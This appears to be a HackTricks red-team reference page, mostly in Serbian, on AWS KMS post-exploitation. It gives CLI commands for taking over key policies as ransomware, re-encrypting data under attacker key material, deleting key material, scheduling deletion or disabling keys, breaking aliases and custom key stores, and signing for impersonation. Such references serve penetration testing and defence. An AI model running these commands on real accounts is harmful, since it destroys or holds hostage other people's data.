AWS - KMS Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

KMS

Za više informacija pogledajte:

AWS - KMS Enum

Šifrovanje/dešifrovanje informacija

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.
  • file://: Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za kodiranje.

Tip

Imajte na umu da, ako želite dešifrovati podatke u fajlu, fajl mora sadržati binarne podatke, a ne base64 enkodirane podatke. (fileb://)

  • Korišćenje simetričnog ključa
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Koristeći asimetrični ključ:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Napadač koji ima privilegovani pristup KMS-u može izmeniti KMS policy ključeva i dodeliti svom nalogu pristup njima, uklanjajući pristup dodeljen legitimnom nalogu.

Tada korisnici legitimnog naloga neće moći da pristupe informacijama nijedne usluge koja je šifrovana tim ključevima, što stvara jednostavan ali efikasan ransomware nad nalogom.

Warning

Imajte na umu da AWS managed keys nisu pogođene ovim napadom, samo Customer managed keys.

Takođe napomena o potrebi korišćenja parametra --bypass-policy-lockout-safety-check (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.

Generički KMS Ransomware

Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:

  • Napravite novi key with a key material importovan od strane napadača
  • Re-encrypt older data žrtve koja je bila šifrovana prethodnom verzijom, koristeći novu
  • Delete the KMS key
  • Sada samo napadač, koji poseduje originalni key material, može da dešifruje šifrovane podatke

Brisanje ključeva putem kms:DeleteImportedKeyMaterial

Sa permisijom kms:DeleteImportedKeyMaterial, akter može obrisati importovanu key material iz CMKs sa Origin=EXTERNAL (CMKs that have imperted their key material), čineći ih nesposobnim za dešifrovanje podataka. Ova akcija je destruktivna i nepovratna osim ako kompatibilan materijal nije ponovo importovan, omogućavajući napadaču da efektivno izazove ransomware-like gubitak podataka tako što će enkriptovane informacije učiniti trajno nedostupnim.

aws kms delete-imported-key-material --key-id <Key_ID>

Destroy keys

Destroying keys — moguće je izvesti DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Imajte na umu da AWS sada sprečava da se prethodne radnje izvršavaju iz drugog naloga:

Promeni ili obriši Alias

Ovaj napad briše ili preusmerava AWS KMS aliases, prekidajući rezoluciju ključeva i izazivajući trenutne greške u svim servisima koji se oslanjaju na te aliases, što rezultira denial-of-service. Sa privilegijama kao što su kms:DeleteAlias ili kms:UpdateAlias napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može zakazati dok se alias ne vrati ili pravilno mapira.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Poništavanje brisanja ključa

Sa dozvolama kao što su kms:CancelKeyDeletion i kms:EnableKey, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

Sa dozvolom kms:DisableKey, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. Ovo prekida pristup svim servisima koji zavise od tog CMK-a i može izazvati trenutne prekide rada ili denial-of-service dok ključ ponovo ne bude omogućen.

aws kms disable-key \
--key-id <key_id>

Izračunavanje zajedničke tajne

Sa dozvolom kms:DeriveSharedSecret, entitet može da koristi privatni ključ u KMS-u zajedno sa javnim ključem koji dostavi korisnik da izračuna ECDH zajedničku tajnu.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Sa dozvolom kms:Sign, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, generišući važeće potpise koji mogu omogućiti impersonation ili autorizovati zlonamerne radnje.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Sa dozvolama kao što su kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ili kms:UpdateCustomKeyStore, napadač može izmeniti, prekinuti vezu sa ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadgledati te dozvole.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks